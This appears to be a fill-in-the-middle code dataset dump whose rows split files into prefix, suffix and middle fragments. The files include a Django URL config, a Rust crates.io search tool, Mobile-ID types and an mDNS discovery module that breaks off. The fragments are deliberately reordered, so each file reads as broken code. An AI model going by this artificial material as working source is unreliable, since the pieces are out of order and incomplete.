file_name
large_stringlengths
4
140
prefix
large_stringlengths
0
12.1k
suffix
large_stringlengths
0
12k
middle
large_stringlengths
0
7.51k
fim_type
large_stringclasses
4 values
service.js
const fs = require('fs'); const path = require('path');
constructor() { this.getFileRecursevly = this.getFileRecursevly.bind(this); this.getFiles = this.getFiles.bind(this); } getFileRecursevly(folderPath, shortPath = '') { var files = []; var folder = fs.readdirSync(path.resolve(__dirname, folderPath)); var x = folder.forEach(file => { var filePath = path.resolve(folderPath, file); if (fs.lstatSync(filePath).isDirectory()) { files.push({ folder: file, files: this.getFileRecursevly(filePath, file) }) } else { files.push({ file: file, folder: shortPath }); } }) return files; } getFiles(path) { return new Promise((resolve, reject) => { var files = this.getFileRecursevly(path) resolve(files) }) } } module.exports = Service;
class Service {
random_line_split
urls.py
"""course_discovery URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.8/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Add an import: from blog import urls as blog_urls 2. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls)) """ import os from django.conf import settings from django.conf.urls import include, url from django.contrib import admin from django.contrib.auth.views import logout from django.core.urlresolvers import reverse_lazy from django.views.generic import RedirectView from course_discovery.apps.core import views as core_views admin.autodiscover() # pylint: disable=invalid-name # Always login via edX OpenID Connect login = RedirectView.as_view(url=reverse_lazy('social:begin', args=['edx-oidc']), permanent=False, query_string=True) urlpatterns = [ url(r'^admin/', include(admin.site.urls)), url(r'^api/', include('course_discovery.apps.api.urls', namespace='api')), url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')), url(r'^auto_auth/$', core_views.AutoAuth.as_view(), name='auto_auth'), url(r'^health/$', core_views.health, name='health'), url(r'^login/$', login, name='login'), url(r'^logout/$', logout, name='logout'),
urlpatterns.append(url(r'^__debug__/', include(debug_toolbar.urls)))
url('', include('social.apps.django_app.urls', namespace='social')), ] if settings.DEBUG and os.environ.get('ENABLE_DJANGO_TOOLBAR', False): # pragma: no cover import debug_toolbar # pylint: disable=import-error
random_line_split
urls.py
"""course_discovery URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.8/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Add an import: from blog import urls as blog_urls 2. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls)) """ import os from django.conf import settings from django.conf.urls import include, url from django.contrib import admin from django.contrib.auth.views import logout from django.core.urlresolvers import reverse_lazy from django.views.generic import RedirectView from course_discovery.apps.core import views as core_views admin.autodiscover() # pylint: disable=invalid-name # Always login via edX OpenID Connect login = RedirectView.as_view(url=reverse_lazy('social:begin', args=['edx-oidc']), permanent=False, query_string=True) urlpatterns = [ url(r'^admin/', include(admin.site.urls)), url(r'^api/', include('course_discovery.apps.api.urls', namespace='api')), url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')), url(r'^auto_auth/$', core_views.AutoAuth.as_view(), name='auto_auth'), url(r'^health/$', core_views.health, name='health'), url(r'^login/$', login, name='login'), url(r'^logout/$', logout, name='logout'), url('', include('social.apps.django_app.urls', namespace='social')), ] if settings.DEBUG and os.environ.get('ENABLE_DJANGO_TOOLBAR', False): # pragma: no cover
import debug_toolbar # pylint: disable=import-error urlpatterns.append(url(r'^__debug__/', include(debug_toolbar.urls)))
conditional_block
homedirectory.py
"""Attempt to determine the current user's "system" directories""" try: ## raise ImportError from win32com.shell import shell, shellcon except ImportError: shell = None try: import _winreg except ImportError: _winreg = None import os, sys ## The registry keys where the SHGetFolderPath values appear to be stored r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" def _winreg_getShellFolder( name ): """Get a shell folder by string name from the registry""" k = _winreg.OpenKey( _winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" ) try: # should check that it's valid? How? return _winreg.QueryValueEx( k, name )[0] finally: _winreg.CloseKey( k ) def shell_getShellFolder( type ): """Get a shell folder by shell-constant from COM interface""" return shell.SHGetFolderPath( 0,# null hwnd type, # the (roaming) appdata path 0,# null access token (no impersonation) 0 # want current value, shellcon.SHGFP_TYPE_CURRENT isn't available, this seems to work ) def appdatadirectory( ): """Attempt to retrieve the current user's app-data directory This is the location where application-specific files should be stored. On *nix systems, this will be the ${HOME}/.config directory. On Win32 systems, it will be the "Application Data" directory. Note that for Win32 systems it is normal to create a sub-directory for storing data in the Application Data directory. """ if shell: # on Win32 and have Win32all extensions, best-case return shell_getShellFolder(shellcon.CSIDL_APPDATA) if _winreg: # on Win32, but no Win32 shell com available, this uses # a direct registry access, likely to fail on Win98/Me return _winreg_getShellFolder( 'AppData' ) # okay, what if for some reason _winreg is missing? would we want to allow ctypes? ## default case, look for name in environ... for name in ['APPDATA', 'HOME']: if name in os.environ: return os.path.join( os.environ[name], '.config' ) # well, someone's being naughty, see if we can get ~ to expand to a directory... possible = os.path.abspath(os.path.expanduser( '~/.config' )) if os.path.exists( possible ):
raise OSError( """Unable to determine user's application-data directory, no ${HOME} or ${APPDATA} in environment""" ) if __name__ == "__main__": print 'AppData', appdatadirectory()
return possible
conditional_block
homedirectory.py
"""Attempt to determine the current user's "system" directories""" try: ## raise ImportError from win32com.shell import shell, shellcon except ImportError: shell = None try: import _winreg except ImportError: _winreg = None import os, sys ## The registry keys where the SHGetFolderPath values appear to be stored r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" def _winreg_getShellFolder( name ): """Get a shell folder by string name from the registry""" k = _winreg.OpenKey( _winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" ) try: # should check that it's valid? How? return _winreg.QueryValueEx( k, name )[0] finally: _winreg.CloseKey( k ) def shell_getShellFolder( type ): """Get a shell folder by shell-constant from COM interface""" return shell.SHGetFolderPath( 0,# null hwnd type, # the (roaming) appdata path 0,# null access token (no impersonation) 0 # want current value, shellcon.SHGFP_TYPE_CURRENT isn't available, this seems to work ) def
( ): """Attempt to retrieve the current user's app-data directory This is the location where application-specific files should be stored. On *nix systems, this will be the ${HOME}/.config directory. On Win32 systems, it will be the "Application Data" directory. Note that for Win32 systems it is normal to create a sub-directory for storing data in the Application Data directory. """ if shell: # on Win32 and have Win32all extensions, best-case return shell_getShellFolder(shellcon.CSIDL_APPDATA) if _winreg: # on Win32, but no Win32 shell com available, this uses # a direct registry access, likely to fail on Win98/Me return _winreg_getShellFolder( 'AppData' ) # okay, what if for some reason _winreg is missing? would we want to allow ctypes? ## default case, look for name in environ... for name in ['APPDATA', 'HOME']: if name in os.environ: return os.path.join( os.environ[name], '.config' ) # well, someone's being naughty, see if we can get ~ to expand to a directory... possible = os.path.abspath(os.path.expanduser( '~/.config' )) if os.path.exists( possible ): return possible raise OSError( """Unable to determine user's application-data directory, no ${HOME} or ${APPDATA} in environment""" ) if __name__ == "__main__": print 'AppData', appdatadirectory()
appdatadirectory
identifier_name
homedirectory.py
"""Attempt to determine the current user's "system" directories""" try: ## raise ImportError from win32com.shell import shell, shellcon except ImportError: shell = None try: import _winreg except ImportError: _winreg = None import os, sys ## The registry keys where the SHGetFolderPath values appear to be stored r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" def _winreg_getShellFolder( name ): """Get a shell folder by string name from the registry""" k = _winreg.OpenKey( _winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" ) try: # should check that it's valid? How? return _winreg.QueryValueEx( k, name )[0] finally: _winreg.CloseKey( k ) def shell_getShellFolder( type ): """Get a shell folder by shell-constant from COM interface""" return shell.SHGetFolderPath( 0,# null hwnd type, # the (roaming) appdata path 0,# null access token (no impersonation) 0 # want current value, shellcon.SHGFP_TYPE_CURRENT isn't available, this seems to work ) def appdatadirectory( ):
return os.path.join( os.environ[name], '.config' ) # well, someone's being naughty, see if we can get ~ to expand to a directory... possible = os.path.abspath(os.path.expanduser( '~/.config' )) if os.path.exists( possible ): return possible raise OSError( """Unable to determine user's application-data directory, no ${HOME} or ${APPDATA} in environment""" ) if __name__ == "__main__": print 'AppData', appdatadirectory()
"""Attempt to retrieve the current user's app-data directory This is the location where application-specific files should be stored. On *nix systems, this will be the ${HOME}/.config directory. On Win32 systems, it will be the "Application Data" directory. Note that for Win32 systems it is normal to create a sub-directory for storing data in the Application Data directory. """ if shell: # on Win32 and have Win32all extensions, best-case return shell_getShellFolder(shellcon.CSIDL_APPDATA) if _winreg: # on Win32, but no Win32 shell com available, this uses # a direct registry access, likely to fail on Win98/Me return _winreg_getShellFolder( 'AppData' ) # okay, what if for some reason _winreg is missing? would we want to allow ctypes? ## default case, look for name in environ... for name in ['APPDATA', 'HOME']: if name in os.environ:
identifier_body
homedirectory.py
"""Attempt to determine the current user's "system" directories""" try: ## raise ImportError from win32com.shell import shell, shellcon except ImportError: shell = None try: import _winreg except ImportError: _winreg = None import os, sys ## The registry keys where the SHGetFolderPath values appear to be stored r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" def _winreg_getShellFolder( name ): """Get a shell folder by string name from the registry""" k = _winreg.OpenKey( _winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" ) try: # should check that it's valid? How? return _winreg.QueryValueEx( k, name )[0] finally: _winreg.CloseKey( k ) def shell_getShellFolder( type ): """Get a shell folder by shell-constant from COM interface""" return shell.SHGetFolderPath( 0,# null hwnd type, # the (roaming) appdata path 0,# null access token (no impersonation) 0 # want current value, shellcon.SHGFP_TYPE_CURRENT isn't available, this seems to work ) def appdatadirectory( ): """Attempt to retrieve the current user's app-data directory This is the location where application-specific files should be stored. On *nix systems, this will be the ${HOME}/.config directory. On Win32 systems, it will be the "Application Data" directory. Note that for Win32 systems it is normal to create a sub-directory for storing data in the Application Data directory. """ if shell: # on Win32 and have Win32all extensions, best-case return shell_getShellFolder(shellcon.CSIDL_APPDATA) if _winreg: # on Win32, but no Win32 shell com available, this uses
if name in os.environ: return os.path.join( os.environ[name], '.config' ) # well, someone's being naughty, see if we can get ~ to expand to a directory... possible = os.path.abspath(os.path.expanduser( '~/.config' )) if os.path.exists( possible ): return possible raise OSError( """Unable to determine user's application-data directory, no ${HOME} or ${APPDATA} in environment""" ) if __name__ == "__main__": print 'AppData', appdatadirectory()
# a direct registry access, likely to fail on Win98/Me return _winreg_getShellFolder( 'AppData' ) # okay, what if for some reason _winreg is missing? would we want to allow ctypes? ## default case, look for name in environ... for name in ['APPDATA', 'HOME']:
random_line_split
types.py
import re from collections import namedtuple from typing import Optional from esteid import settings from esteid.constants import Languages from esteid.exceptions import InvalidIdCode, InvalidParameter from esteid.signing.types import InterimSessionData from esteid.types import PredictableDict from esteid.validators import id_code_ee_is_valid PHONE_NUMBER_REGEXP = settings.MOBILE_ID_PHONE_NUMBER_REGEXP AuthenticateResult = namedtuple( "AuthenticateResult", [ "session_id", "hash_type", "hash_value", "verification_code", "hash_value_b64", ], ) AuthenticateStatusResult = namedtuple( "AuthenticateStatusResult", [ "certificate", # DER-encoded certificate "certificate_b64", # Base64-encoded DER-encoded certificate ], ) SignResult = namedtuple( "SignResult", [ "session_id", "digest", "verification_code", ], ) # Note: MobileID doesn't return a certificate for SignStatus. It is set from a previous call to `/certificate` SignStatusResult = namedtuple( "SignStatusResult", [ "signature", "signature_algorithm", "certificate", ], ) class UserInput(PredictableDict): phone_number: str id_code: str language: Optional[str] def is_valid(self, raise_exception=True): result = super().is_valid(raise_exception=raise_exception) if result: if not self.phone_number or PHONE_NUMBER_REGEXP and not re.match(PHONE_NUMBER_REGEXP, self.phone_number): if not raise_exception: return False raise InvalidParameter(param="phone_number") if not id_code_ee_is_valid(self.id_code): if not raise_exception: return False raise InvalidIdCode
if not (self.get("language") and self.language in Languages.ALL): self.language = settings.MOBILE_ID_DEFAULT_LANGUAGE return result class MobileIdSessionData(InterimSessionData): session_id: str
random_line_split
types.py
import re from collections import namedtuple from typing import Optional from esteid import settings from esteid.constants import Languages from esteid.exceptions import InvalidIdCode, InvalidParameter from esteid.signing.types import InterimSessionData from esteid.types import PredictableDict from esteid.validators import id_code_ee_is_valid PHONE_NUMBER_REGEXP = settings.MOBILE_ID_PHONE_NUMBER_REGEXP AuthenticateResult = namedtuple( "AuthenticateResult", [ "session_id", "hash_type", "hash_value", "verification_code", "hash_value_b64", ], ) AuthenticateStatusResult = namedtuple( "AuthenticateStatusResult", [ "certificate", # DER-encoded certificate "certificate_b64", # Base64-encoded DER-encoded certificate ], ) SignResult = namedtuple( "SignResult", [ "session_id", "digest", "verification_code", ], ) # Note: MobileID doesn't return a certificate for SignStatus. It is set from a previous call to `/certificate` SignStatusResult = namedtuple( "SignStatusResult", [ "signature", "signature_algorithm", "certificate", ], ) class UserInput(PredictableDict): phone_number: str id_code: str language: Optional[str] def is_valid(self, raise_exception=True): result = super().is_valid(raise_exception=raise_exception) if result: if not self.phone_number or PHONE_NUMBER_REGEXP and not re.match(PHONE_NUMBER_REGEXP, self.phone_number): if not raise_exception:
raise InvalidParameter(param="phone_number") if not id_code_ee_is_valid(self.id_code): if not raise_exception: return False raise InvalidIdCode if not (self.get("language") and self.language in Languages.ALL): self.language = settings.MOBILE_ID_DEFAULT_LANGUAGE return result class MobileIdSessionData(InterimSessionData): session_id: str
return False
conditional_block
types.py
import re from collections import namedtuple from typing import Optional from esteid import settings from esteid.constants import Languages from esteid.exceptions import InvalidIdCode, InvalidParameter from esteid.signing.types import InterimSessionData from esteid.types import PredictableDict from esteid.validators import id_code_ee_is_valid PHONE_NUMBER_REGEXP = settings.MOBILE_ID_PHONE_NUMBER_REGEXP AuthenticateResult = namedtuple( "AuthenticateResult", [ "session_id", "hash_type", "hash_value", "verification_code", "hash_value_b64", ], ) AuthenticateStatusResult = namedtuple( "AuthenticateStatusResult", [ "certificate", # DER-encoded certificate "certificate_b64", # Base64-encoded DER-encoded certificate ], ) SignResult = namedtuple( "SignResult", [ "session_id", "digest", "verification_code", ], ) # Note: MobileID doesn't return a certificate for SignStatus. It is set from a previous call to `/certificate` SignStatusResult = namedtuple( "SignStatusResult", [ "signature", "signature_algorithm", "certificate", ], ) class
(PredictableDict): phone_number: str id_code: str language: Optional[str] def is_valid(self, raise_exception=True): result = super().is_valid(raise_exception=raise_exception) if result: if not self.phone_number or PHONE_NUMBER_REGEXP and not re.match(PHONE_NUMBER_REGEXP, self.phone_number): if not raise_exception: return False raise InvalidParameter(param="phone_number") if not id_code_ee_is_valid(self.id_code): if not raise_exception: return False raise InvalidIdCode if not (self.get("language") and self.language in Languages.ALL): self.language = settings.MOBILE_ID_DEFAULT_LANGUAGE return result class MobileIdSessionData(InterimSessionData): session_id: str
UserInput
identifier_name
types.py
import re from collections import namedtuple from typing import Optional from esteid import settings from esteid.constants import Languages from esteid.exceptions import InvalidIdCode, InvalidParameter from esteid.signing.types import InterimSessionData from esteid.types import PredictableDict from esteid.validators import id_code_ee_is_valid PHONE_NUMBER_REGEXP = settings.MOBILE_ID_PHONE_NUMBER_REGEXP AuthenticateResult = namedtuple( "AuthenticateResult", [ "session_id", "hash_type", "hash_value", "verification_code", "hash_value_b64", ], ) AuthenticateStatusResult = namedtuple( "AuthenticateStatusResult", [ "certificate", # DER-encoded certificate "certificate_b64", # Base64-encoded DER-encoded certificate ], ) SignResult = namedtuple( "SignResult", [ "session_id", "digest", "verification_code", ], ) # Note: MobileID doesn't return a certificate for SignStatus. It is set from a previous call to `/certificate` SignStatusResult = namedtuple( "SignStatusResult", [ "signature", "signature_algorithm", "certificate", ], ) class UserInput(PredictableDict): phone_number: str id_code: str language: Optional[str] def is_valid(self, raise_exception=True): result = super().is_valid(raise_exception=raise_exception) if result: if not self.phone_number or PHONE_NUMBER_REGEXP and not re.match(PHONE_NUMBER_REGEXP, self.phone_number): if not raise_exception: return False raise InvalidParameter(param="phone_number") if not id_code_ee_is_valid(self.id_code): if not raise_exception: return False raise InvalidIdCode if not (self.get("language") and self.language in Languages.ALL): self.language = settings.MOBILE_ID_DEFAULT_LANGUAGE return result class MobileIdSessionData(InterimSessionData):
session_id: str
identifier_body
main.rs
#![allow(unused_must_use)] extern crate pad; #[macro_use] extern crate quicli; extern crate reqwest; extern crate serde; #[macro_use] extern crate serde_derive; extern crate serde_json; extern crate term; use pad::PadStr; use reqwest::Url; use std::process; use std::str; use quicli::prelude::*; #[macro_use] mod macros; #[derive(Debug, StructOpt)] #[structopt(name = "cargo")] enum Cli { #[structopt(name = "ssearch", about = "cargo search on steroids")] Ssearch { /// how many packages to display #[structopt(long = "limit", short = "l", default_value = "10")] limit: usize, /// the crates.io search result page to display #[structopt(long = "page", default_value = "1")] page: usize, /// quiet output, display only crate, version and downloads #[structopt(long = "quiet", short = "q")] quiet: bool, /// sort by recent downloads instead of overall downloads #[structopt(long = "recent", short = "r")] recent: bool, /// query string for crates.io query: String, }, } #[derive(Debug, Deserialize)] struct Args { flag_info: bool, arg_query: String, } #[derive(Debug, Serialize, Deserialize)] struct Meta { total: i32, } #[derive(Debug, Serialize, Deserialize)] struct Response { crates: Vec<EncodableCrate>, meta: Meta, } // structs from crates.io backend #[derive(Debug, Serialize, Deserialize)] struct EncodableCrate { id: String, name: String, updated_at: String, versions: Option<Vec<i32>>, created_at: String, downloads: i32, max_version: String, description: Option<String>, homepage: Option<String>, documentation: Option<String>, keywords: Option<Vec<String>>, license: Option<String>, repository: Option<String>, links: CrateLinks, } #[derive(Debug, Serialize, Deserialize)] struct CrateLinks { version_downloads: String, versions: Option<String>, owners: Option<String>, reverse_dependencies: String, } fn query_crates_io( query: &str, page: usize, per_page: usize, recent: bool, ) -> Result<(i32, Vec<EncodableCrate>)> { let sort = if recent { "recent-downloads" } else { "downloads" }; let url = Url::parse_with_params( "https://crates.io/api/v1/crates", &[ ("q", query), ("page", &page.to_string()), ("per_page", &per_page.to_string()), ("sort", &sort), ], )?; let body = reqwest::get(url)?.text()?; let data: Response = serde_json::from_str(&body)?; Ok((data.meta.total, data.crates)) }
" = \"{}\" \t(downloads: {})\n", cr.max_version, cr.downloads ); if !quiet { cr.description .as_ref() .map(|description| p_yellow!(t, " -> {}\n", description.clone().trim())); cr.documentation .as_ref() .map(|documentation| p_white!(t, " docs: {}\n", documentation)); cr.homepage .as_ref() .map(|homepage| p_white!(t, " home: {}\n", homepage)); p_white!(t, "\n"); } } main!(|args: Cli| { let Cli::Ssearch { query, page, limit, quiet, recent, } = args; let mut t = term::stdout().unwrap(); // TODO: Add decoding of updated_at and allow to use it for sorting let (total, crates) = query_crates_io(&query, page, limit, recent).unwrap_or_else(|e| { p_red!(t, "[error]: {}.\n", e); t.reset().unwrap(); process::exit(1) }); if total == 0 { p_white!(t, "No crate matching \"{}\" has been found.\n", query); t.reset().unwrap(); process::exit(0); } p_white!( t, "Displaying {} crates from page {} out of the {} found.\n\n", crates.len(), page, total, ); let max_len = (&crates).iter().map(|ref cr| cr.name.len()).max().unwrap(); for cr in &crates { show_crate(&mut t, &cr, quiet, max_len); } t.reset().unwrap(); });
fn show_crate(t: &mut Box<term::StdoutTerminal>, cr: &EncodableCrate, quiet: bool, max_len: usize) { p_green!(t, "{}", cr.name.pad_to_width(max_len)); p_white!( t,
random_line_split
main.rs
#![allow(unused_must_use)] extern crate pad; #[macro_use] extern crate quicli; extern crate reqwest; extern crate serde; #[macro_use] extern crate serde_derive; extern crate serde_json; extern crate term; use pad::PadStr; use reqwest::Url; use std::process; use std::str; use quicli::prelude::*; #[macro_use] mod macros; #[derive(Debug, StructOpt)] #[structopt(name = "cargo")] enum Cli { #[structopt(name = "ssearch", about = "cargo search on steroids")] Ssearch { /// how many packages to display #[structopt(long = "limit", short = "l", default_value = "10")] limit: usize, /// the crates.io search result page to display #[structopt(long = "page", default_value = "1")] page: usize, /// quiet output, display only crate, version and downloads #[structopt(long = "quiet", short = "q")] quiet: bool, /// sort by recent downloads instead of overall downloads #[structopt(long = "recent", short = "r")] recent: bool, /// query string for crates.io query: String, }, } #[derive(Debug, Deserialize)] struct Args { flag_info: bool, arg_query: String, } #[derive(Debug, Serialize, Deserialize)] struct Meta { total: i32, } #[derive(Debug, Serialize, Deserialize)] struct Response { crates: Vec<EncodableCrate>, meta: Meta, } // structs from crates.io backend #[derive(Debug, Serialize, Deserialize)] struct EncodableCrate { id: String, name: String, updated_at: String, versions: Option<Vec<i32>>, created_at: String, downloads: i32, max_version: String, description: Option<String>, homepage: Option<String>, documentation: Option<String>, keywords: Option<Vec<String>>, license: Option<String>, repository: Option<String>, links: CrateLinks, } #[derive(Debug, Serialize, Deserialize)] struct CrateLinks { version_downloads: String, versions: Option<String>, owners: Option<String>, reverse_dependencies: String, } fn query_crates_io( query: &str, page: usize, per_page: usize, recent: bool, ) -> Result<(i32, Vec<EncodableCrate>)> { let sort = if recent { "recent-downloads" } else { "downloads" }; let url = Url::parse_with_params( "https://crates.io/api/v1/crates", &[ ("q", query), ("page", &page.to_string()), ("per_page", &per_page.to_string()), ("sort", &sort), ], )?; let body = reqwest::get(url)?.text()?; let data: Response = serde_json::from_str(&body)?; Ok((data.meta.total, data.crates)) } fn show_crate(t: &mut Box<term::StdoutTerminal>, cr: &EncodableCrate, quiet: bool, max_len: usize) { p_green!(t, "{}", cr.name.pad_to_width(max_len)); p_white!( t, " = \"{}\" \t(downloads: {})\n", cr.max_version, cr.downloads ); if !quiet
} main!(|args: Cli| { let Cli::Ssearch { query, page, limit, quiet, recent, } = args; let mut t = term::stdout().unwrap(); // TODO: Add decoding of updated_at and allow to use it for sorting let (total, crates) = query_crates_io(&query, page, limit, recent).unwrap_or_else(|e| { p_red!(t, "[error]: {}.\n", e); t.reset().unwrap(); process::exit(1) }); if total == 0 { p_white!(t, "No crate matching \"{}\" has been found.\n", query); t.reset().unwrap(); process::exit(0); } p_white!( t, "Displaying {} crates from page {} out of the {} found.\n\n", crates.len(), page, total, ); let max_len = (&crates).iter().map(|ref cr| cr.name.len()).max().unwrap(); for cr in &crates { show_crate(&mut t, &cr, quiet, max_len); } t.reset().unwrap(); });
{ cr.description .as_ref() .map(|description| p_yellow!(t, " -> {}\n", description.clone().trim())); cr.documentation .as_ref() .map(|documentation| p_white!(t, " docs: {}\n", documentation)); cr.homepage .as_ref() .map(|homepage| p_white!(t, " home: {}\n", homepage)); p_white!(t, "\n"); }
conditional_block
main.rs
#![allow(unused_must_use)] extern crate pad; #[macro_use] extern crate quicli; extern crate reqwest; extern crate serde; #[macro_use] extern crate serde_derive; extern crate serde_json; extern crate term; use pad::PadStr; use reqwest::Url; use std::process; use std::str; use quicli::prelude::*; #[macro_use] mod macros; #[derive(Debug, StructOpt)] #[structopt(name = "cargo")] enum Cli { #[structopt(name = "ssearch", about = "cargo search on steroids")] Ssearch { /// how many packages to display #[structopt(long = "limit", short = "l", default_value = "10")] limit: usize, /// the crates.io search result page to display #[structopt(long = "page", default_value = "1")] page: usize, /// quiet output, display only crate, version and downloads #[structopt(long = "quiet", short = "q")] quiet: bool, /// sort by recent downloads instead of overall downloads #[structopt(long = "recent", short = "r")] recent: bool, /// query string for crates.io query: String, }, } #[derive(Debug, Deserialize)] struct Args { flag_info: bool, arg_query: String, } #[derive(Debug, Serialize, Deserialize)] struct Meta { total: i32, } #[derive(Debug, Serialize, Deserialize)] struct Response { crates: Vec<EncodableCrate>, meta: Meta, } // structs from crates.io backend #[derive(Debug, Serialize, Deserialize)] struct EncodableCrate { id: String, name: String, updated_at: String, versions: Option<Vec<i32>>, created_at: String, downloads: i32, max_version: String, description: Option<String>, homepage: Option<String>, documentation: Option<String>, keywords: Option<Vec<String>>, license: Option<String>, repository: Option<String>, links: CrateLinks, } #[derive(Debug, Serialize, Deserialize)] struct CrateLinks { version_downloads: String, versions: Option<String>, owners: Option<String>, reverse_dependencies: String, } fn
( query: &str, page: usize, per_page: usize, recent: bool, ) -> Result<(i32, Vec<EncodableCrate>)> { let sort = if recent { "recent-downloads" } else { "downloads" }; let url = Url::parse_with_params( "https://crates.io/api/v1/crates", &[ ("q", query), ("page", &page.to_string()), ("per_page", &per_page.to_string()), ("sort", &sort), ], )?; let body = reqwest::get(url)?.text()?; let data: Response = serde_json::from_str(&body)?; Ok((data.meta.total, data.crates)) } fn show_crate(t: &mut Box<term::StdoutTerminal>, cr: &EncodableCrate, quiet: bool, max_len: usize) { p_green!(t, "{}", cr.name.pad_to_width(max_len)); p_white!( t, " = \"{}\" \t(downloads: {})\n", cr.max_version, cr.downloads ); if !quiet { cr.description .as_ref() .map(|description| p_yellow!(t, " -> {}\n", description.clone().trim())); cr.documentation .as_ref() .map(|documentation| p_white!(t, " docs: {}\n", documentation)); cr.homepage .as_ref() .map(|homepage| p_white!(t, " home: {}\n", homepage)); p_white!(t, "\n"); } } main!(|args: Cli| { let Cli::Ssearch { query, page, limit, quiet, recent, } = args; let mut t = term::stdout().unwrap(); // TODO: Add decoding of updated_at and allow to use it for sorting let (total, crates) = query_crates_io(&query, page, limit, recent).unwrap_or_else(|e| { p_red!(t, "[error]: {}.\n", e); t.reset().unwrap(); process::exit(1) }); if total == 0 { p_white!(t, "No crate matching \"{}\" has been found.\n", query); t.reset().unwrap(); process::exit(0); } p_white!( t, "Displaying {} crates from page {} out of the {} found.\n\n", crates.len(), page, total, ); let max_len = (&crates).iter().map(|ref cr| cr.name.len()).max().unwrap(); for cr in &crates { show_crate(&mut t, &cr, quiet, max_len); } t.reset().unwrap(); });
query_crates_io
identifier_name
app.config.ts
import { InjectionToken } from '@angular/core'; export let APP_CONFIG = new InjectionToken('app.config'); export const AppConfig: any = { votesLimit: 3, topHeroesLimit: 5, snackBarDuration: 3000, repositoryURL: 'https://github.com/ismaestro/angular8-example-app', sentryDSN: 'https://[email protected]/1315526', cspDirectives: { defaultSrc: [ '\'self\'', 'data:', 'http://*.google-analytics.com', 'http://www.googletagmanager.com', 'https://*.google.com', 'https://*.google-analytics.com', 'https://*.googletagmanager.com', 'https://*.gstatic.com', 'https://*.googleapis.com', 'https://authedmine.com', 'https://az743702.vo.msecnd.net',
upgradeInsecureRequests: true, styleSrc: [ '\'self\'', '\'unsafe-inline\'', 'https://*.googleapis.com' ], scriptSrc: [ '\'self\'', '\'unsafe-inline\'', 'http://*.googletagmanager.com', 'https://*.google-analytics.com' ] } };
'https://sentry.io', 'ws://localhost:4200' ], frameAncestors: ['\'self\''],
random_line_split
discovery.py
import threading import select import time import socket pyb_present = False try: import pybonjour pyb_present = True except ImportError: pyb_present = False TIMEOUT = 5 discovered_lock = threading.Semaphore() discovered = [] discovered_event = threading.Event() discovery_running = False def discover(type = "Manual", name = None): if type == "Manual": return discover_Manual_TCP() elif type == "mDNS": if pyb_present: return discover_mDNS(name) else: print "mDNS discovery not possible" return [] def discover_Manual_TCP(): print "Manual Discovery. Enter details:" ssname = raw_input("SmartSpace name >") ip = raw_input("SmartSpace IP Address >" ) port = raw_input("SmartSpace Port >" ) print ssname, ip, port rtuple = ( ssname, ("TCP", (ip,int(port)) )) return rtuple def discover_mDNS(name = None, reg_type = "_kspace._tcp"): global discovery_running if not discovery_running: # print "Starting mDNS discovery"
if not name: discovered_lock.acquire() global discovered tmp = [] print discovered for i in discovered: tmp.append(i) discovered_lock.release() print tmp return tmp else: discovered_lock.acquire() # print discovered tmp = filter(lambda x: x[0] == name, discovered) discovered_lock.release() print tmp return tmp class mDNS_Discovery(threading.Thread): def __init__(self, reg_type): global discovery_running discovery_running = True self.resolved = [] self.discovered = {} self.reg_type = reg_type threading.Thread.__init__(self) def address_cb(self, sdRef, flags, interfaceIndex, errorCode, fullname, rrtype, rrclass, rdata, ttl): if errorCode == pybonjour.kDNSServiceErr_NoError: #print "RDATA type for A is ", type(rdata) #print "Converted: ", socket.inet_ntoa(rdata) # Extract Smart Space name, discard _serv._tcp crap ss_name = self.service_name.split('.')[0] discovered_lock.acquire() # Use TCP for communication, as zeroconf is IP based tech discovered.append((ss_name, ("TCP", (socket.inet_ntoa(rdata), self.port)))) discovered_lock.release() discovered_event.set() def resolve_cb(self, sdRef, flags, interfaceIndex, errorCode, fullname, hosttarget, port, txtRecord): if errorCode == pybonjour.kDNSServiceErr_NoError: #print 'Resolved service:' #print ' fullname =', fullname #print ' hosttarget =', hosttarget #print ' port =', port self.service_name = fullname self.hostname = hosttarget self.port = port address_sdRef = pybonjour.DNSServiceQueryRecord(fullname = hosttarget, rrtype = pybonjour.kDNSServiceType_A, callBack = self.address_cb) try: ready = select.select([address_sdRef], [], [], TIMEOUT) if address_sdRef in ready[0]: pybonjour.DNSServiceProcessResult(address_sdRef) else: print 'Resolve timed out' finally: address_sdRef.close() self.resolved.append(True) def browse_cb(self, sdRef, flags, interfaceIndex, errorCode, serviceName, regtype, replyDomain): if errorCode != pybonjour.kDNSServiceErr_NoError: return if not (flags & 